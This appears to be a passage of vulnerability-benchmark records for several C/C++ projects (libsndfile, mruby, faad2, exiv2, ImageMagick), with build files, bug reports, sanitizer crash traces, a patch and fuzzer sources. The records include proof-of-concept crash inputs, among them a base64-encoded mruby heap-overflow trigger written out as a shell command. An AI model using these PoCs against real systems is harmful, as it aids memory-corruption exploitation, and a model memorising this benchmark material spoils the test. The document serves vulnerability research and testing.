**** Weird, RF64 file without a 'ds64' chunk and no valid 'data' size.
End
*** Calculated frame count 34 does not match value from 'ds64' chunk of 0.
----------------------------------------
Sample Rate : 11938577
Frames : 34
Channels : 1
Format : 0x00220004
Sections : 1
Seekable : TRUE
Duration : 00:00:00.000
Signal Max : 9.89862e+08 (-6.73 dB)
```
## Proof-of-Concept Files
[poc](https://github.com/4n0nym4u5/CVE/raw/main/libsndfile/segmentation_fault/poc)
## Reproduction
```sh
git clone https://github.com/libsndfile/libsndfile
mkdir CMakeBuild
cd CMakeBuild
CC=clang CXX=clang++ cmake ..
make
./sndfile-convert poc a.ogg
```
## Results
```sh
➜ CMakeBuild git:(master) ✗ ./sndfile-convert poc /tmp/a.ogg
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1208976==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000030 (pc 0x7ffff7ded44b bp 0x7fffffff5d10 sp 0x7fffffff5cd0 T0)
==1208976==The signal is caused by a READ memory access.
==1208976==Hint: address points to the zero page.
#0 0x7ffff7ded44b in vorbis_analysis_wrote (/lib/x86_64-linux-gnu/libvorbis.so.0+0xc44b) (BuildId: 58a44b2feaebf749cc199712b9da8b0a72529304)
#1 0x5555557ce545 in vorbis_close /home/user/fuzzing_targets/libsndfile/src/ogg_vorbis.c:417:3
#2 0x5555556863f3 in psf_close /home/user/fuzzing_targets/libsndfile/src/sndfile.c:2969:12
#3 0x555555683218 in main /home/user/fuzzing_targets/libsndfile/programs/sndfile-convert.c:370:2
#4 0x7ffff7a2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#5 0x7ffff7a2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
#6 0x5555555c1e84 in _start (/home/user/fuzzing_targets/libsndfile/CMakeBuild/sndfile-convert+0x6de84) (BuildId: cbada87c9425ff09ce9f7616c3a774b7f2e3be61)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libvorbis.so.0+0xc44b) (BuildId: 58a44b2feaebf749cc199712b9da8b0a72529304) in vorbis_analysis_wrote
==1208976==ABORTING
```
## Environment
```
Linux Mint 22 Wilma
Ubuntu clang version 18.1.3 (1ubuntu1)
gcc (Ubuntu 13.2.0-23ubuntu4) 13.2.0
```
Comments:
Comment by carnil on 2024-10-28 21:03:06+00:00:
This issue appears to be associated with CVE-2024-50612
---
Comment by sboukortt on 2024-11-06 13:01:01+00:00:
This appears to prevent the crash; not sure whether there is maybe a more “proper” fix.
```diff
diff --git a/src/ogg_vorbis.c b/src/ogg_vorbis.c
index f9428ed1..c1061ca2 100644
--- a/src/ogg_vorbis.c
+++ b/src/ogg_vorbis.c
@@ -403,7 +403,7 @@ vorbis_close (SF_PRIVATE *psf)
{ OGG_PRIVATE* odata = psf->container_data ;
VORBIS_PRIVATE *vdata = psf->codec_data ;
- if (odata == NULL || vdata == NULL)
+ if (odata == NULL || vdata == NULL || vdata->vdsp.vi == NULL)
return 0 ;
/* Clean up this logical bitstream ; before exit we shuld see if we're
```
---
Comment by erikd on 2024-11-12 04:40:58+00:00:
@sboukortt 's patch looks good to me. I recommend that it be added. @sboukortt Maybe create a PR?
---
Comment by arthurt on 2024-11-15 23:39:13+00:00:
@sboukortt `vorbis_dsp_state` is supposed to be private: [docs](https://xiph.org/vorbis/doc/libvorbis/vorbis_dsp_state.html)
The actual issue is that the error return value from `vorbis_write_header()` called from `vorbis_close()` is not checked.
```c
if (psf->file.mode == SFM_WRITE)
{
if (psf->write_current <= 0)
vorbis_write_header (psf, 0) ; // retval unchecked
vorbis_analysis_wrote (&vdata->vdsp, 0) ; // vdata->vdsp is uninitialized
```
There isn't anything special about the POC. The issue is that an OggVorbis file is opened for writing with a sample format vorbis can't support, one write is attempted, then the file is closed. The vorbis sndfile code writes the header lazily, either at the first write of sample data or at close for a sample-empty file, and the vorbis sndfile code doesn't bother to init the codec state until it writes the headers.
Writing the header fails on the first write, and the header remains unwritten. On close it is noticed that the header is not written and it is tried again, but this time the error is ignored. The codec state remains uninitialized and `vorbis_analysis_wrote` causes a seg-fault.
```
gdb sndfile-covert
Reading symbols from sndfile-convert...
(gdb) break vorbis_write_header
Breakpoint 1 at 0x7ffff7f48c8f: file src/ogg_vorbis.c, line 311.
(gdb) break vorbis_close
Breakpoint 2 at 0x7ffff7f49081: file src/ogg_vorbis.c, line 403.
(gdb) r ../issue-1035/poc a.ogg
Breakpoint 1, vorbis_write_header (psf=0x55555556bd40, UNUSED_calc_length=0) at src/ogg_vorbis.c:311
311 {
(gdb) bt
#0 vorbis_write_header (psf=0x55555556bd40, UNUSED_calc_length=0) at src/ogg_vorbis.c:311
#1 0x00007ffff7f1635f in sf_writef_double (sndfile=0x55555556bd40, ptr=0x55555555c2a0 <data>, frames=34)
at src/sndfile.c:2661
#2 0x0000555555557621 in sfe_copy_data_fp (outfile=0x55555556bd40, infile=0x5555555692a0, channels=1, normalize=0)
at programs/common.c:78
#3 0x000055555555716a in main (argc=3, argv=0x7fffffffd6b8) at programs/sndfile-convert.c:361
(gdb) finish
Run till exit from #0 vorbis_write_header (psf=0x55555556bd40, UNUSED_calc_length=0) at src/ogg_vorbis.c:311
0x00007ffff7f1635f in sf_writef_double (sndfile=0x55555556bd40, ptr=0x55555555c2a0 <data>, frames=34) at src/sndfile.c:2661
2661 { if ((psf->error = psf->write_header (psf, SF_FALSE)))
Value returned is $1 = 1
(gdb) c
Continuing.
Breakpoint 2, vorbis_close (psf=0x55555556bd40) at src/ogg_vorbis.c:403
403 { OGG_PRIVATE* odata = psf->container_data ;
(gdb) c
Continuing.
Breakpoint 1, vorbis_write_header (psf=0x55555556bd40, UNUSED_calc_length=0) at src/ogg_vorbis.c:311
311 {
(gdb) finish
Run till exit from #0 vorbis_write_header (psf=0x55555556bd40, UNUSED_calc_length=0) at src/ogg_vorbis.c:311
vorbis_close (psf=0x55555556bd40) at src/ogg_vorbis.c:417
417 vorbis_analysis_wrote (&vdata->vdsp, 0) ;
Value returned is $2 = 1
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e5902b in vorbis_analysis_wrote () from /usr/lib64/libvorbis.so.0
```
```
Commit References:
cbada87c9425ff09ce9f7616c3a774b7f2e3be61
58a44b2feaebf749cc199712b9da8b0a72529304
|
[] |
[
{
"sha": "58a44b2feaebf749cc199712b9da8b0a72529304",
"url": "https://github.com/libsndfile/libsndfile/commit/58a44b2feaebf749cc199712b9da8b0a72529304"
},
{
"sha": "cbada87c9425ff09ce9f7616c3a774b7f2e3be61",
"url": "https://github.com/libsndfile/libsndfile/commit/cbada87c9425ff09ce9f7616c3a774b7f2e3be61"
},
{
"sha": "274198fd95152b412ada49be059258ec0efca272",
"url": "https://github.com/libsndfile/libsndfile/commit/274198fd95152b412ada49be059258ec0efca272"
},
{
"sha": "4755f5bd7854611d92ad0f1295587b439f9950ba",
"url": "https://github.com/arthenica/libsndfile/commit/4755f5bd7854611d92ad0f1295587b439f9950ba"
},
{
"sha": "f6e1a336a66c8f8bc53e73bc5573d6d0cf5519f0",
"url": "https://github.com/libsndfile/libsndfile/commit/f6e1a336a66c8f8bc53e73bc5573d6d0cf5519f0"
},
{
"sha": "d86a3bbd96a99b59dc1bb4b9aa14c643b2e045a2",
"url": "https://github.com/libsndfile/libsndfile/commit/d86a3bbd96a99b59dc1bb4b9aa14c643b2e045a2"
}
] |
mruby.cve-2022-0570
|
mruby/mruby
|
0ed3fcfa26de93c20c8cb4789d16fceab6e38b40
| 2022-02-11T00:21:01
|
mruby
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential ruby bison ninja-build cmake zlib1g-dev libbz2-dev liblzma-dev
RUN git clone https://github.com/mruby/mruby mruby
RUN git -C mruby checkout 0ed3fcfa26de93c20c8cb4789d16fceab6e38b40
WORKDIR $SRC/mruby
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
cd $SRC/mruby
export LD=$CC
export LDFLAGS="$CFLAGS"
rake -m
|
/src/mruby
|
address
|
================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.dev/bounties/65a7632e-f95b-4836-b1a7-9cb95e5124f1
## Description:
Description
Heap Overflow occurs in mrb_f_send().
commit : d912b864df3199f2108601a0451532c587a5e830
Proof of Concept
$ echo -ne "c2VuZCJzZW5kIiwic2VuZCIsInNlbmQiLCJzZW5kIiwic2VuZCIsInNlbmQiLCJzZW5kIiwic2Vu
ZCIsInNlbmQiLCJzZW5kIiwic2VuZCIsInNlbmQiLCJzZW5kIiwic2VuZCIsInNlbmQiLCJzZW5k
IgAAAAo=" | base64 -d > poc
# ASAN
$ ./bin/mruby
=================================================================
==1392717==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60d0000000c0 at pc 0x00000058722e bp 0x7ffc2c8d81f0 sp 0x7ffc2c8d81e8
READ of size 8 at 0x60d0000000c0 thread T0
#0 0x58722d in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:695:12
#1 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#2 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#3 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#4 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#5 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#6 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#7 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#8 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#9 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#10 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#11 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#12 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#13 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#14 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#15 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#16 0x587d8b in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:732:12
#17 0x59cb54 in mrb_vm_exec /home/alkyne/mruby-debug/src/vm.c:1633:18
#18 0x58beda in mrb_vm_run /home/alkyne/mruby-debug/src/vm.c:1128:12
#19 0x586649 in mrb_top_run /home/alkyne/mruby-debug/src/vm.c:3037:12
#20 0x68da7b in mrb_load_exec /home/alkyne/mruby-debug/mrbgems/mruby-compiler/core/parse.y:6883:7
#21 0x68ec5b in mrb_load_detect_file_cxt /home/alkyne/mruby-debug/mrbgems/mruby-compiler/core/parse.y:6926:12
#22 0x4cd28f in main /home/alkyne/mruby-debug/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11
#23 0x7f7becfa10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#24 0x41d70d in _start (/home/alkyne/mruby-debug/bin/mruby.asan+0x41d70d)
0x60d0000000c1 is located 0 bytes to the right of 129-byte region [0x60d000000040,0x60d0000000c1)
allocated by thread T0 here:
#0 0x4988e9 in realloc (/home/alkyne/mruby-debug/bin/mruby.asan+0x4988e9)
#1 0x5f4fb5 in mrb_default_allocf /home/alkyne/mruby-debug/src/state.c:68:12
#2 0x654f1e in mrb_realloc_simple /home/alkyne/mruby-debug/src/gc.c:226:8
#3 0x6554a4 in mrb_realloc /home/alkyne/mruby-debug/src/gc.c:240:8
#4 0x4d6733 in ary_make_shared /home/alkyne/mruby-debug/src/array.c:175:51
#5 0x4da3ee in ary_subseq /home/alkyne/mruby-debug/src/array.c:836:3
#6 0x4da047 in mrb_ary_subseq /home/alkyne/mruby-debug/src/array.c:851:10
#7 0x587933 in mrb_f_send /home/alkyne/mruby-debug/src/vm.c:711:15
#8 0x59cb54 in mrb_vm_exec /home/alkyne/mruby-debug/src/vm.c:1633:18
#9 0x58beda in mrb_vm_run /home/alkyne/mruby-debug/src/vm.c:1128:12
#10 0x586649 in mrb_top_run /home/alkyne/mruby-debug/src/vm.c:3037:12
#11 0x68da7b in mrb_load_exec /home/alkyne/mruby-debug/mrbgems/mruby-compiler/core/parse.y:6883:7
#12 0x68ec5b in mrb_load_detect_file_cxt /home/alkyne/mruby-debug/mrbgems/mruby-compiler/core/parse.y:6926:12
#13 0x4cd28f in main /home/alkyne/mruby-debug/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11
#14 0x7f7becfa10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/alkyne/mruby-debug/src/vm.c:695:12 in mrb_f_send
Shadow bytes around the buggy address:
0x0c1a7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1a7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1a7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1a7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1a7fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c1a7fff8010: 00 00 00 00 00 00 00 00[01]fa fa fa fa fa fa fa
0x0c1a7fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1a7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1a7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1a7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1a7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1392717==ABORTING
Impact
Heap based Buffer Overflow may lead to exploiting the program, which can allow the attacker to execute arbitrary code.
Relevant Links:
https://github.com/mruby/mruby
|
[] |
[
{
"sha": "65a7632e",
"url": null
},
{
"sha": "38b164ace7d6ae1c367883a3d67d7f559783faad",
"url": "https://github.com/mruby/mruby/commit/38b164ace7d6ae1c367883a3d67d7f559783faad"
},
{
"sha": "d912b864df3199f2108601a0451532c587a5e830",
"url": "https://github.com/mruby/mruby/commit/d912b864df3199f2108601a0451532c587a5e830"
}
] |
faad2.cve-2018-20358
|
knik0/faad2
|
334e7647a5f31903aca33dde39bb8683e9d8cccd
| 2017-12-17T13:54:42
|
faad2
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/knik0/faad2 faad2
RUN git -C faad2 checkout 334e7647a5f31903aca33dde39bb8683e9d8cccd
WORKDIR $SRC/faad2
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./bootstrap
./configure
make -j$(nproc)
|
/src/faad2
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/knik0/faad2/issues/31
## Description:
Issue: knik0/faad2#31
Title: Invalid memory address dereference in lt_prediction(in libfaad/lt_predict.c:108)
State: closed
Created by: fantasy7082
Created at: 2018-12-17 06:51:28+00:00
Issue Body:
Hi, i found a issue in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. It crashed in function lt_prediction .the details are below(ASAN):
```
./faad faad_res/010-invalid-def-lt_predict_108 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/010-invalid-def-lt_predict_108 file info:
RAW
---------------------
| Config: 1.1 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Center front |
| 01 | Left front |
---------------------
ASAN:SIGSEGV faad_res/010-invalid-def-lt_predict_108.
=================================================================
==7092==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000fd0 (pc 0x7f09d10c9532 bp 0x7ffea06b0460 sp 0x7ffea06ac370 T0)
#0 0x7f09d10c9531 in lt_prediction /root/faad2_asan/libfaad/lt_predict.c:108
#1 0x7f09d10fb6b8 in reconstruct_channel_pair /root/faad2_asan/libfaad/specrec.c:1228
#2 0x7f09d1102823 in channel_pair_element /root/faad2_asan/libfaad/syntax.c:759
#3 0x7f09d1100cbf in decode_cpe /root/faad2_asan/libfaad/syntax.c:402
#4 0x7f09d1101398 in raw_data_block /root/faad2_asan/libfaad/syntax.c:448
#5 0x7f09d10bb9c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#6 0x7f09d10bb566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#7 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#8 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#9 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#10 0x7f09d0cf382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/lt_predict.c:108 lt_prediction
==7092==ABORTING
```
POC FILE:https://github.com/fantasy7082/image_test/blob/master/010-invalid-def-lt_predict_108
Comments:
Comment by nluedtke on 2019-02-15 15:13:14+00:00:
This was assigned [CVE-2018-20358](https://nvd.nist.gov/vuln/detail/CVE-2018-20358).
---
Comment by hlef on 2019-08-18 14:52:43+00:00:
Unreproducible on the current master.
Fixed by 466b01d504d7e45f1e9169ac90b3e34ab94aed14.
---
Comment by fabiangreffrath on 2019-08-19 12:58:04+00:00:
Closing then.
Commit References:
466b01d504d7e45f1e9169ac90b3e34ab94aed14
|
[] |
[
{
"sha": "466b01d504d7e45f1e9169ac90b3e34ab94aed14",
"url": "https://github.com/knik0/faad2/commit/466b01d504d7e45f1e9169ac90b3e34ab94aed14"
}
] |
exiv2.cve-2018-14046
|
exiv2/exiv2
|
fa449a4d2c58d63f0d75ff259f25683a98a44630
| 2017-04-26T14:16:21
|
exiv2
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y cmake make ccache python3 libexpat1-dev zlib1g-dev libssh-dev libcurl4-openssl-dev libxml2-utils
RUN git clone https://github.com/exiv2/exiv2 exiv2
RUN git -C exiv2 checkout fa449a4d2c58d63f0d75ff259f25683a98a44630
WORKDIR $SRC/exiv2
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
mkdir -p build
cd build
cmake -DEXIV2_ENABLE_PNG=ON -DEXIV2_ENABLE_WEBREADY=ON -DEXIV2_ENABLE_CURL=OFF -DEXIV2_ENABLE_BMFF=ON -DEXIV2_TEAM_WARNINGS_AS_ERRORS=ON -DBUILD_SHARED_LIBS=OFF -DCMAKE_CXX_COMPILER="${CXX}" -DCMAKE_CXX_FLAGS="${CXXFLAGS}" -DEXIV2_BUILD_FUZZ_TESTS=ON -DEXIV2_TEAM_OSS_FUZZ=ON -DLIB_FUZZING_ENGINE="${LIB_FUZZING_ENGINE}" ..
make -j $(nproc)
|
/src/exiv2
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/Exiv2/exiv2/issues/378
## Description:
Issue: Exiv2/exiv2#378
Title: AddressSanitizer: heap-buffer-overflow /src/exiv2/src/webpimage.cpp:563 Exiv2::WebPImage::decodeChunks(unsigned long)
State: closed
Created by: cool-tomato
Created at: 2018-07-09 01:52:51+00:00
Issue Body:
```
$ exiv2 -pp $POC
=================================================================
==23==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000ef32 at pc 0x7f19a962fc0e bp 0x7fff01cdcc00 sp 0x7fff01cdcbf0
READ of size 3 at 0x60200000ef32 thread T0
#0 0x7f19a962fc0d in Exiv2::WebPImage::decodeChunks(unsigned long) /src/exiv2/src/webpimage.cpp:563
#1 0x7f19a9634cbe in Exiv2::WebPImage::readMetadata() /src/exiv2/src/webpimage.cpp:496
#2 0x462b13 in Action::Print::printPreviewList() /src/exiv2/src/actions.cpp:801
#3 0x46f837 in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /src/exiv2/src/actions.cpp:254
#4 0x40c735 in main /src/exiv2/src/exiv2.cpp:166
#5 0x7f19a87b482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#6 0x40d688 in _start (/src/aflbuild/installed/bin/exiv2+0x40d688)
0x60200000ef34 is located 0 bytes to the right of 4-byte region [0x60200000ef30,0x60200000ef34)
allocated by thread T0 here:
#0 0x7f19a9f656b2 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x996b2)
#1 0x7f19a962bbc7 in Exiv2::DataBuf::DataBuf(long) /src/exiv2/include/exiv2/types.hpp:206
#2 0x7f19a962bbc7 in Exiv2::WebPImage::decodeChunks(unsigned long) /src/exiv2/src/webpimage.cpp:517
SUMMARY: AddressSanitizer: heap-buffer-overflow /src/exiv2/src/webpimage.cpp:563 Exiv2::WebPImage::decodeChunks(unsigned long)
Shadow bytes around the buggy address:
0x0c047fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9de0: fa fa fa fa fa fa[04]fa fa fa 05 fa fa fa 05 fa
0x0c047fff9df0: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa fd fa
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==23==ABORTING
```
[1-poc-heapoverflow](https://github.com/TeamSeri0us/pocs/blob/master/exiv2/1-poc-heapoverflow)
Comments:
Comment by kirotawa on 2018-07-16 14:20:50+00:00:
It was assigned this CVE number for this issue https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14046
|
[] |
[
{
"sha": "49bfe84b4b7277cc425572fb68db23c8820181c1",
"url": "https://github.com/D4N/exiv2/commit/49bfe84b4b7277cc425572fb68db23c8820181c1"
},
{
"sha": "f522cbf46021f3785d741cd3a048627b7e142478",
"url": "https://github.com/D4N/exiv2/commit/f522cbf46021f3785d741cd3a048627b7e142478"
},
{
"sha": "81b6d36c90ed36a1c878171f0794f632f2ee5a78",
"url": "https://github.com/Exiv2/exiv2/commit/81b6d36c90ed36a1c878171f0794f632f2ee5a78"
},
{
"sha": "505e2417e408abaf8f9fe9e5076f567a65cc59c3",
"url": "https://github.com/Exiv2/exiv2/commit/505e2417e408abaf8f9fe9e5076f567a65cc59c3"
}
] |
imagemagick.cve-2017-11750
|
imagemagick/imagemagick
|
2ab7a8720e8d36aaeab5eb6ca997582bb7c2b47f
| 2017-07-28T17:46:10
|
imagemagick
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/imagemagick/imagemagick imagemagick
RUN git -C imagemagick checkout 2ab7a8720e8d36aaeab5eb6ca997582bb7c2b47f
WORKDIR $SRC/imagemagick
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --prefix="$WORK" --disable-shared --disable-docs
make "-j$(nproc)"
make install -j$(nproc)
|
/src/imagemagick
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/ImageMagick/ImageMagick/issues/632
## Description:
Issue: ImageMagick/ImageMagick#632
Title: Null pointer Dereference in DestroyJNG()
State: closed
Created by: k0keoyo
Created at: 2017-07-30 07:34:09+00:00
Labels: bug
Issue Body:
PoC URL:https://github.com/k0keoyo/im_poc/blob/master/SEGV-0x000000000000_output_aai_1501399328.45
Version: ImageMagick 7.0.6-4 Q16 x86_64 2017-07-29
Trigger Command: ./magick convert SEGV-0x000000000000_output_aai_1501399328.45 output.aai
Crash Detail:
ASAN:SIGSEGV
=================================================================
==5479==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f1fd0f1cde7 bp 0x7ffdf83ad5c0 sp 0x7ffdf83ad480 T0)
#0 0x7f1fd0f1cde6 in DestroyJNG coders/png.c:4318
#1 0x7f1fd0f1f076 in ReadOneJNGImage coders/png.c:4473
#2 0x7f1fd0f20d79 in ReadJNGImage coders/png.c:5145
#3 0x7f1fd0a279cc in ReadImage MagickCore/constitute.c:497
#4 0x7f1fd0a293ed in ReadImages MagickCore/constitute.c:866
#5 0x7f1fd03739de in ConvertImageCommand MagickWand/convert.c:641
#6 0x7f1fd0439bae in MagickCommandGenesis MagickWand/mogrify.c:183
#7 0x4016e9 in MagickMain utilities/magick.c:149
#8 0x7f1fcfcdba3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x20a3f)
#9 0x401358 in _start (/home/sh1/Desktop/ImageMagick/utilities/.libs/lt-magick+0x401358)
AddressSanitizer can not provide additional info.
Comments:
Comment by glennrp on 2017-07-30 08:09:25+00:00:
Confirmed that both IM6.9.9-4 and IM7.0.6-4 dump core while reading this file.
---
Comment by glennrp on 2017-07-30 08:47:52+00:00:
IM7: commit 1828667
IM6: commit 253d560
---
Comment by glennrp on 2017-07-30 14:43:58+00:00:
I introduced this bug recently in
IM7: commit 8cc53f1
IM6: commit 3cba1bb
---
Comment by bastien-roucaries on 2017-08-01 20:19:45+00:00:
Please open CVE
---
Comment by glennrp on 2017-08-01 21:04:29+00:00:
A CVE will have to say bug was introduced in 6.9.9.4 and 7.0.6-4, fixed in 6.9.9-5 and 7.0.6-5.
---
Comment by bastien-roucaries on 2017-08-02 13:11:24+00:00:
CVE-2017-11750
|
[
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n uint16_t Width;\n uint16_t Height;\n if (Size < (sizeof(Width) + sizeof(Height))) {\n return 0;\n }\n Width = *reinterpret_cast<const uint16_t *>(Data);\n Height = *reinterpret_cast<const uint16_t *>(Data + sizeof(Width));\n const Magick::Blob blob(Data + sizeof(Width) + sizeof(Height),\n Size - (sizeof(Width) + sizeof(Height)));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.crop(Magick::Geometry(Width, Height));\n return 0;\n}\n",
"filename": "crop_fuzzer.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\n#define FUZZ_ENCODER_STRING_LITERAL(name) #name\n#define FUZZ_ENCODER FUZZ_ENCODER_STRING_LITERAL(FUZZ_IMAGEMAGICK_ENCODER)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n\n Magick::Blob outBlob;\n try {\n image.write(&outBlob, FUZZ_ENCODER);\n } catch (Magick::Exception &e) {\n }\n return 0;\n}\n",
"filename": "encoder_fuzzer.cc"
},
{
"content": "#include <iostream>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int main() {\n size_t nFormats;\n Magick::ExceptionInfo ex;\n const Magick::MagickInfo **formats = GetMagickInfoList(\"*\", &nFormats, &ex);\n\n for (size_t i = 0; i < nFormats; i++) {\n const Magick::MagickInfo *format = formats[i];\n if (format->encoder && format->name) {\n std::cout << format->name << std::endl;\n }\n }\n}\n",
"filename": "encoder_list.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n image.enhance();\n } catch (Magick::Exception &e) {\n return 0;\n }\n return 0;\n}\n",
"filename": "enhance_fuzzer.cc"
},
{
